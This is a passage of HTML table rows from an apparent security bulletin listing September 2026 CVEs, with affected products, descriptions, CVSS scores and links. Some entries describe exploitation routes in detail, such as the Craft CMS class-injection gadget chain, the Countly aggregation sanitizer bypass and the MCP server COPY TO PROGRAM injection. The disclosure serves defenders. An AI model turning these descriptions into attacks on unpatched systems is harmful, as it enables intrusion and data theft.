&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Autodesk--Fusion&lt;/td&gt;
&lt;td&gt;A maliciously crafted add-in, when installed and executed in Autodesk Fusion Desktop, can modify persistent network proxy settings without user notification or consent. A successful exploit may allow an attacker to redirect authenticated Fusion network traffic through an attacker-controlled proxy, potentially exposing sensitive information with the current user.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85217&quot; target=&quot;_blank&quot;&gt;CVE-2026-85217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Automattic--WooCommerce&lt;/td&gt;
&lt;td&gt;Allocation of Resources Without Limits or Throttling vulnerability in Automattic WooCommerce allows HTTP DoS. This issue affects WooCommerce: from n/a before 11.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48888&quot; target=&quot;_blank&quot;&gt;CVE-2026-48888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AVEVA--Pipeline Integrity Monitor&lt;/td&gt;
&lt;td&gt;The vulnerability, if exploited, could allow a miscreant with read access to PIMBoards project files to decrypt and view sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81821&quot; target=&quot;_blank&quot;&gt;CVE-2026-81821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AVEVA--Pipeline Integrity Monitor&lt;/td&gt;
&lt;td&gt;The vulnerability, if exploited, could allow a miscreant with read access to PIMBoards project files to reverse engineer PIMBoards users&#039; app-native passwords through computational brute-forcing of weak hashes, potentially allowing elevation to a PIMBoards administrator user.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81822&quot; target=&quot;_blank&quot;&gt;CVE-2026-81822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--Amazon OpenSearch Service&lt;/td&gt;
&lt;td&gt;Improper input validation in the Vega expression function implementation in OpenSearch Dashboards allows a remote authenticated actor with dashboard write permissions to execute arbitrary JavaScript in the context of other users&#039; browser sessions by saving a crafted Vega visualization. The checkForFunctionProperty validation routine failed to recurse into arrays of objects, allowing a function property nested inside an array to bypass validation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84942&quot; target=&quot;_blank&quot;&gt;CVE-2026-84942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--Amazon SSM Agent&lt;/td&gt;
&lt;td&gt;A server-side request forgery issue due to improper validation of equivalent address representations in the port forwarding to remote hosts functionality in Amazon AWS Systems Manager Agent (SSM Agent) before 3.3.4851.0 on all platforms might allow an authenticated remote user to bypass the remote destination denylist and reach link-local endpoints, potentially obtaining the temporary IAM role credentials of a managed instance and acting with that role&#039;s permissions from outside the instance, via a crafted destination host value that uses an alternate representation of a denied link-local address. To remediate this issue, users should upgrade to version 3.3.4851.0 or later.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89049&quot; target=&quot;_blank&quot;&gt;CVE-2026-89049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--AWS Labs postgres MCP Server&lt;/td&gt;
&lt;td&gt;An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... TO PROGRAM statement into content that is processed when an authenticated user interacts with the MCP server in its default read-only mode. To remediate this issue, users should upgrade to version 1.1.7 or later.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87911&quot; target=&quot;_blank&quot;&gt;CVE-2026-87911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--projen&lt;/td&gt;
&lt;td&gt;Relative path traversal in the generated file manifest cleanup component in projen before 0.101.37 might allow context-dependent attackers to recursively delete files and directories outside the project directory that are writable by the environment running projen, via crafted entries in the version-controlled generated file manifest that is consumed during project synthesis. To remediate this issue, users should upgrade to version 0.101.37. The corrected containment check is automatically applied by the projen runtime next time you run it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89065&quot; target=&quot;_blank&quot;&gt;CVE-2026-89065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--projen&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command in the task synthesis component in projen before 0.103.0 might allow context-dependent attackers to execute arbitrary commands on a developer workstation or continuous integration runner via shell metacharacters in project configuration values and repository file names that are interpolated into generated task definitions. To remediate this issue, users should upgrade to version 0.103.0 and then re-synthesize the project so that .projen/tasks.json is regenerated with the corrected task definitions. Upgrading alone is not sufficient because the generated task definition file is committed to the repository.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89066&quot; target=&quot;_blank&quot;&gt;CVE-2026-89066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bahelievler Muncipality--BiHayat App&lt;/td&gt;
&lt;td&gt;Improper restriction of excessive authentication attempts vulnerability in BahÃ§elievler Muncipality BiHayat App allows Authentication Bypass. This issue affects BiHayat App: from 2.1.7 through 07092026.&amp;nbsp;NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6223&quot; target=&quot;_blank&quot;&gt;CVE-2026-6223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Behavioral Technology Group--Pavlok Behavioral Conditioning Wearable&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Behavioral Technology Group Pavlok Behavioral Conditioning Wearable up to 20260707. Impacted is an unknown function of the component Apple Notification Center Service Event Handler. The manipulation leads to buffer overflow. The attack must be carried out from within the local network. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87931&quot; target=&quot;_blank&quot;&gt;CVE-2026-87931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Beijing Meite Software Technology--U+Smart Enjoyment WebSite&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Beijing Meite Software Technology U+Smart Enjoyment WebSite 18.6001.1096.1000. This impacts an unknown function of the file /Report/Upload/UploadFormImg.ashx. Executing a manipulation of the argument File can lead to unrestricted upload. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86272&quot; target=&quot;_blank&quot;&gt;CVE-2026-86272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bestweblayout--Contact Form to DB by BestWebSoft Messages Database Plugin For WordPress&lt;/td&gt;
&lt;td&gt;The Contact Form to DB by BestWebSoft - Messages Database Plugin For WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via cntctfrm_contact_dropdown Parameter in all versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload executes in the context of an administrator&#039;s browser session when they visit the plugin&#039;s message manager page at /wp-admin/admin.php?page=cntctfrmtdb_manager, making it possible to compromise administrator-level sessions via a simple unauthenticated contact form submission.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13359&quot; target=&quot;_blank&quot;&gt;CVE-2026-13359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bosch Sensortec--BHI360_SensorAPI (C-Library)&lt;/td&gt;
&lt;td&gt;A stack-based buffer overflow vulnerability exists in the Bosch Sensortec BHI360 SensorAPI(C-Library) in versions up to and including commit d6b200416a. The vulnerability is located within the FIFO parsing and debug logging subsystem inside the function bhi360_parse_debug_message() in bhi360_parse.c (lines 1852-1875). The parser trusts the first payload byte of a debug frame as the message length (msg_length) and copies that many bytes into a fixed-size 17-byte stack buffer (debug_msg) via memcpy without performing any bounds checking. A locally or physically positioned attacker (e.g., via a malicious sensor, counterfeit hardware module, or a Man-in-the-Middle on the communication bus) can exploit this vulnerability by injecting a crafted debug frame with a length byte exceeding 16. This corrupts adjacent stack data, including the saved return address. Furthermore, because the overflowed buffer is subsequently passed to a printf-style logging sink, the attacker can supply format string specifiers (e.g., %n) to execute arbitrary code on the host microcontroller/SoC or cause a reliable system crash (Denial of Service).&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42804&quot; target=&quot;_blank&quot;&gt;CVE-2026-42804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bosch Sensortec--BHI385 SensorAPI (C Library)&lt;/td&gt;
&lt;td&gt;A stack-based buffer overflow vulnerability exists in the Bosch Sensortec BHI385 SensorAPI (C library) within the debug message parser function bhi385_parse_debug_message (located in bhi385_parse.c). The function parses FIFO events and extracts an 8-bit message length directly from the attacker-controlled event payload (callback_info-&amp;gt;data_ptr[0]) without enforcing bounds checks or clamping the value. When copying the payload into a fixed-size stack buffer of 17 bytes (uint8_t debug_msg[17]) via memcpy, providing a length byte greater than 16 causes the function to write past the allocated stack boundary. This memory corruption can be triggered by a malicious or compromised sensor or bus participant, leading to a firmware crash, Denial of Service (DoS), or potentially the execution of arbitrary code via adjacent stack data corruption.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42805&quot; target=&quot;_blank&quot;&gt;CVE-2026-42805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bosch Sensortec--COINES_SDK&lt;/td&gt;
&lt;td&gt;A heap-based buffer overflow vulnerability in the PC bridge protocol decoder of BoschSensortec COINES_SDK (versions 2.10 through 2.12.2) allows attackers to cause a denial of service (process crash) or potentially execute arbitrary code. The bridge decoder ({{bridge_decoder.c}}) trusts the packet length field provided by the external device and forwards it to the host response queue ({{mqueue_add_data}}) without validating the bounds of the destination buffer. A malicious or compromised USB or Bluetooth Low Energy (BLE) peripheral can advertise a payload size up to ~3 KB, which exceeds the default queue slot size of 255 bytes. This results in an unbounded heap overwrite ({{memcpy}}), corrupting adjacent heap metadata on the host system when processing the device&#039;s response.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42807&quot; target=&quot;_blank&quot;&gt;CVE-2026-42807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) fails to restrict direct write access to the public.sso_providers table exposed through Supabase PostgREST. A holder of an ordinary Capgo full API key can insert a row with status=&#039;active&#039; and enforce_sso=true, bypassing the intended backend SSO provisioning route (supabase/functions/_backend/private/sso/providers.ts) and its controls: the Enterprise plan requirement, SSO provider creation via the Supabase Management API, DNS TXT domain-ownership verification, the pending_verification â†’ verified â†’ active status transition, and issuance of a trusted provider ID by Supabase Auth. The forged row is trusted by SSO discovery and enforcement logic, including the unauthenticated login preflight endpoint /private/sso/check-domain, which then reports {&quot;has_sso&quot;: true, &quot;enforce_sso&quot;: true} for domains that were never verified, allowing attacker-controlled SSO enforcement to be asserted for arbitrary domains and disrupting normal login. All versions are affected; at the time of the advisory no patch was available.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88864&quot; target=&quot;_blank&quot;&gt;CVE-2026-88864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (Cap-go/capgo.app) contains an authentication bypass affecting all versions (no patched version available at time of publication). The Edge authorization path allows a password-only Supabase aal1 session to exercise privileged RBAC permissions even when the account has a verified MFA factor that has not been used for the session: the Edge JWT middleware (foundJWT() in supabase/functions/_backend/utils/hono_middleware.ts) accepts the JWT without validating its assurance level, and the direct RBAC path (checkPermission()/checkPermissionPg() in supabase/functions/_backend/utils/rbac.ts calling public.rbac_check_permission_direct()) authorizes by user ID without passing or checking the session aal, unlike the public.verify_mfa() control which correctly requires aal2. An attacker who knows only the victim&#039;s password can therefore authenticate, mint a persistent app-scoped app_admin API key that remains valid after the aal1 session is logged out, and perform privileged operations such as modifying production OTA channel configurations (validated by changing a public production channel from bundle 1.0.0 to 1.0.1), defeating the protection provided by MFA.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88861&quot; target=&quot;_blank&quot;&gt;CVE-2026-88861&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) backend through 12.242.4 does not validate parent-child delegation when processing the x-limited-key-id header. checkKeyByIdPg() in supabase/functions/_backend/utils/hono_middleware.ts resolves the attacker-supplied numeric API key ID using only the key ID, its expiration state, and the authenticating key&#039;s user_id, while hasLimitedRbacSubkeyScope() accepts any key with a non-organization (e.g., app-scoped) RBAC binding and validateSubkeyUser() only compares owning user IDs. Because Capgo treats API keys as independent RBAC principals with separate role bindings, an authenticated apikey_manager API key with no application access can supply the numeric ID of a more privileged same-owner key and have the middleware replace the authenticated principal and effective API-key secret with that key (setSubkeyAuthContext), exercising an app_admin sibling&#039;s permissions without knowing or submitting its secret. The issue was reproduced on release 12.242.4 (commit b3d02cdbc23ac59990785acacd1f113c07458568) after the fix for GHSA-8h52-44r7-w343; at the time of the advisory no patched version was available.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88862&quot; target=&quot;_blank&quot;&gt;CVE-2026-88862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;capgo.app (npm package `capgo`) through version 12.207.1 does not compare the caller&#039;s role rank against the requested role in the validateInvite() function of supabase/functions/_backend/private/invite_new_user_to_org.ts. The POST /private/invite_new_user_to_org endpoint only requires the org.update_user_roles permission for org_super_admin invitations, so an authenticated user holding only the org.invite_user permission (e.g., an org_member) can invite an external user as org_admin or org_billing_admin. When the invited account accepts the invitation via POST /private/accept_invitation, ensureOrgMembership creates the role binding using the Supabase service-role key, which bypasses the prevent_role_binding_priority_escalation and check_org_user_privileges database triggers. This allows privilege escalation resulting in full administrative control over the organization&#039;s apps, channels, members, and billing. The issue is addressed by pull request #3096, which compares the inviter&#039;s rank before permitting elevated invitations.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88863&quot; target=&quot;_blank&quot;&gt;CVE-2026-88863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cesanta--mJS&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Cesanta mJS up to 1.26. Affected is the function skip_spaces_and_comments of the file src/mjs_tok.c. Executing a manipulation can lead to heap-based buffer overflow. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86716&quot; target=&quot;_blank&quot;&gt;CVE-2026-86716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chainguard-dev--melange&lt;/td&gt;
&lt;td&gt;melange allows users to build apk packages using declarative pipelines. Apko prior to version 1.2.9, corresponding to melange prior to version 0.50.4, verified the control section hash (`.PKGINFO` etc.) against the signed `APKINDEX`, but never verified the data section hash (the actual package files that get installed). An attacker who could compromise a mirror, poison a cache, or MITM a package fetch could substitute arbitrary file contents while the control hash check still passed. Apko version 1.2.9 and melange version 0.50.4 contain a fix.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54174&quot; target=&quot;_blank&quot;&gt;CVE-2026-54174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Chainlit--chainlit&lt;/td&gt;
&lt;td&gt;Chainlit through 2.12.0 fails to validate the client-supplied socket.io sessionId parameter, allowing unauthenticated attackers to traverse filesystem paths by injecting absolute or relative path sequences. Attackers can craft malicious sessionId values that escape the upload directory and recursively delete arbitrary directories accessible to the service process.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86099&quot; target=&quot;_blank&quot;&gt;CVE-2026-86099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;checkpoint--Quantum Security Gateway&lt;/td&gt;
&lt;td&gt;Improper certificate trust validation during VPN negotiation in Check Point Quantum Security Gateway may allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85102&quot; target=&quot;_blank&quot;&gt;CVE-2026-85102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;checkpoint--Quantum Security Gateway&lt;/td&gt;
&lt;td&gt;A heap-based buffer overflow in VPN certificate ASN.1 decoding may allow an unauthenticated remote attacker to execute arbitrary code on Check Point Quantum Security Management and Quantum Security Gateway systems.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85103&quot; target=&quot;_blank&quot;&gt;CVE-2026-85103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cheshire-cat-ai--Cheshire Cat AI&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in cheshire-cat-ai Cheshire Cat AI up to 1.9.2. This affects the function _authorize_http_key of the file core/cat/factory/custom_auth_handler.py. The manipulation of the argument user_id leads to missing authentication. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90579&quot; target=&quot;_blank&quot;&gt;CVE-2026-90579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Enterprise NFV Infrastructure Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the Unified Extensible Firmware Interface (UEFI) Shell implementation of Cisco UCS Servers and UCS-based appliances could allow an authenticated attacker with valid credentials for a user account with the role of user or admin&amp;amp;nbsp;or an unauthenticated attacker with physical access to an affected device to bypass UEFI Secure Boot validation checks and execute unauthorized software. This vulnerability is due to the availability of memory write commands in the UEFI Shell while UEFI Secure Boot is enabled on a device. An attacker could exploit this vulnerability by selecting the UEFI Shell boot option at boot time and using available shell commands to modify UEFI memory variables. A successful exploit could allow the attacker to manipulate the preboot environment, overwrite UEFI Secure Boot-related memory values, and execute unauthorized software on the affected device.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20293&quot; target=&quot;_blank&quot;&gt;CVE-2026-20293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;compression--compression&lt;/td&gt;
&lt;td&gt;compression is a Node.js and Express compression middleware. In versions before 1.8.2, when a client aborts the connection while a compressed response is still being sent, the zlib stream created to compress that response is never destroyed, so each aborted compressed response leaks its native zlib memory. A remote unauthenticated attacker can repeatedly open requests and disconnect early, exhausting the available memory and crashing the server. All applications using compression are affected. The issue is fixed in compression 1.8.2, and users should upgrade to 1.8.2 or later.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87776&quot; target=&quot;_blank&quot;&gt;CVE-2026-87776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ConnectWise--ScreenConnect&lt;/td&gt;
&lt;td&gt;A condition in the ScreenConnect client may allow files to be transferred and executed through an active remote session without authorization or Host confirmation in certain circumstances. ScreenConnect servers are not impacted.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84869&quot; target=&quot;_blank&quot;&gt;CVE-2026-84869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Countly--countly-server&lt;/td&gt;
&lt;td&gt;An authorization bypass vulnerability exists in the Countly Server DBViewer due to flawed sub-pipeline detection in the aggregation stage sanitizer. The /o/db aggregation endpoint parses user-controlled aggregation JSON and passes it through a stage sanitizer that determines whether a nested array is a sub-pipeline by checking if every element contains a key present in a hardcoded KNOWN_STAGE_OPERATORS set. If any element contains an unrecognized stage key, such as the undocumented MongoDB-internal $_internalInhibitOptimization, the sanitizer misclassifies the entire branch as a generic array and skips stage-level stripping for all sibling stages. This allows a non-admin user with DBViewer read permission to inject forbidden operators like $lookup inside $facet sub-pipelines, performing cross-collection joins into restricted collections. This leads to unauthorized read access to sensitive data including password-reset tokens (prid), enabling account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87803&quot; target=&quot;_blank&quot;&gt;CVE-2026-87803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cozmoslabs--User Profile Builder Beautiful User Registration Forms, User Profiles &amp;amp; User Role Editor&lt;/td&gt;
&lt;td&gt;The User Profile Builder - Beautiful User Registration Forms, User Profiles &amp;amp; User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;Biographical Info&#039; meta field parameter in all versions up to, and including, 3.15.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6431&quot; target=&quot;_blank&quot;&gt;CVE-2026-6431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cozy Vision Technologies Pvt. Ltd.--SMS Alert Order Notifications&lt;/td&gt;
&lt;td&gt;Subscriber Privilege Escalation in SMS Alert Order Notifications &amp;lt;= 3.9.9 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62106&quot; target=&quot;_blank&quot;&gt;CVE-2026-62106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;A remote, authenticated, non-admin Craft CMS Control Panel user with only the&amp;nbsp;accessCp&amp;nbsp;permission can execute operating system commands as the PHP web worker.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79987&quot; target=&quot;_blank&quot;&gt;CVE-2026-79987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS versions before 5.10.12 fail to properly cleanse string-typed field-layout elements, allowing authenticated control-panel users to inject Yii2 behavior attachments and event handlers. Attackers can post field-layout tab elements as JSON strings to bypass cleanse validation, then trigger arbitrary object instantiation and code execution through Craft::createObject().&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86730&quot; target=&quot;_blank&quot;&gt;CVE-2026-86730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS versions before 5.10.12 contain a remote code execution vulnerability in the element-index endpoint that allows authenticated content editors to instantiate arbitrary classes through the criteria parameter. Attackers can inject a malicious class via criteria[withTransforms][0][class] that reaches ImageTransforms::normalizeTransform(), then use a PHP gadget chain with yii\rbac\PhpManager to execute code by pointing itemFile to a request log containing PHP payload in the User-Agent header.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
